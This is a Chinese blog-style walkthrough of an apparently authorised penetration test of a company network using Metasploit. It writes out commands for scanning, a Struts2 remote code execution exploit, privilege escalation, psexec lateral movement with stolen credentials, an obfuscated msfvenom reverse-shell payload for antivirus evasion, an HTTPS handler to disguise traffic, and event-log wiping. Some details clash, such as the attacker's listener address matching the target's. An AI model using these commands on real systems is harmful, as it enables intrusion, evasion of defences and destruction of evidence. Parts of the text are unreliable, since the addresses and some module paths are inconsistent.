0x01 一次意外的渗透发现

黑客示意图

在某次授权的内部渗透测试中,我接到任务去评估一家大型互联网公司的安全防护能力。通常,这类机构都会部署各种安全防御措施,包括防火墙、入侵检测系统、和先进的EDR。然而,正如任何攻击者会做的那样,我并没有被这些障碍吓倒。相反,它激发了我对Metasploit的兴趣,尤其是如何绕过复杂的安全防御机制。

我决定从信息收集开始,通过一系列的侦查技术,发现了目标公司使用的某个未修补的CMS平台。这个小小的漏洞成为了打开整个网络的突破口。这篇文章将带您深入了解我是如何利用Metasploit工具集,逐步渗透这家公司的内部网络。

0x02 Metasploit的战术部署

Metasploit是一个集成的开源渗透测试框架,它提供了我们所需的几乎所有功能,从漏洞扫描到利用开发,再到后续的横向渗透。在这个案例中,我利用了Metasploit的模块化功能,组合使用多个模块实现了我的目标。

目标识别与信息收集

在任何攻击开始之前,信息收集是至关重要的一步。信息收集的目的是为了识别目标系统的操作系统、开放端口、运行的服务以及潜在的漏洞。

<pre><code class="language-shell">msfconsole use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 set PORTS 80,443,8080 run</code></pre>

通过脚本发现目标主机的80和8080端口开放,可能存在Web服务。

漏洞扫描与确认

接下来,我使用nmap与Metasploit结合进行漏洞扫描,确认了目标Web服务存在的特定漏洞。这一步骤至关重要,只有确认漏洞后,我们才能进行下一步的利用。

<pre><code class="language-shell">nmap -sV -p80,8080 --script http-vuln* 192.168.1.100</code></pre>

漏洞利用

在确认了目标的Web服务中存在一个已知的远程代码执行(RCE)漏洞后,我在Metasploit中利用该漏洞模块进行攻击。

<pre><code class="language-shell">use exploit/multi/http/struts2_content_type_ognl set RHOST 192.168.1.100 set RPORT 8080 set TARGETURI /login run</code></pre>

一旦成功利用这个漏洞,我就能够在目标系统上获得一个反向Shell,从而进一步探索这个网络。

0x03 横向移动与权限提升的策略

在获得初始访问后,攻击者需要尽可能地扩大自己的影响范围。在这一步中,我使用Metasploit的后渗透模块来进行横向移动和权限提升。

权限提升

首先,我需要提升在目标系统上的权限,通常这意味着获得管理员权限。Metasploit中有许多模块可以帮助我们实现这一点。

<pre><code class="language-shell">post/windows/escalate/getsystem run</code></pre>

该模块尝试通过已知的漏洞来提升权限。

横向移动

使用窃取的凭证和Metasploit的辅助模块,我进一步在公司内部网络中移动,寻找其他感兴趣的系统和数据。

<pre><code class="language-shell">use auxiliary/admin/smb/psexec set RHOSTS 192.168.1.101 set SMBUser admin set SMBPass pass123 run</code></pre>

0x04 流量伪装与免杀的技巧

随着EDR等安全技术的不断升级,简单的攻击方式已经不再奏效。为了对抗这些机制,我在每个阶段都使用了流量伪装和免杀技术。

黑客示意图

免杀技术

在生成恶意payload时,通过对其进行加壳和混淆来规避杀软的检测。

黑客示意图

<pre><code class="language-shell">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -o payload.exe</code></pre>

上面的命令利用了shikata_ga_nai编码器进行多层混淆。

流量伪装

流量伪装的关键在于让恶意流量看起来像正常流量,这样便可以绕过流量分析工具的检测。比如,在Metasploit中可以使用HTTPS协议来加密传输。

<pre><code class="language-shell">use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 192.168.1.100 set LPORT 443 run</code></pre>

通过HTTPS通道传输Meterpreter会话,使得流量看似合法。

0x05 痕迹清除与善后工作

攻击的最后一步是痕迹清除,以免被检测到。这通常包括删除日志文件、清除命令历史记录等。

清除日志

在Windows系统中,通过Metasploit的模块可以直接清除目标机器上的事件日志。

<pre><code class="language-shell">use post/windows/manage/clearev run</code></pre>

删除生成的文件

确保删除在攻击过程中生成的所有恶意文件和执行的脚本,防止被管理员复查时发现。

0x06 个人经验分享与攻击心得

在这次渗透测试中,Metasploit的模块化设计和强大的可扩展性给予了我极大的灵活性。无论是信息收集、漏洞利用还是后期的横向移动,Metasploit都提供了完善的解决方案。

然而,在实际操作中,我也意识到,任何工具都不是万能的。在特定情况下,能够根据目标环境的特殊性开发自定义的攻击模块是非常有必要的。另外,攻击者的隐蔽性和伪装能力在现代防御环境中显得尤为重要,因此在每次攻击中都应特别关注流量伪装和免杀技术。

本文仅限于授权的安全测试和学术用途,未经授权的渗透测试是非法的,请各位研究员务必遵守相关法律法规。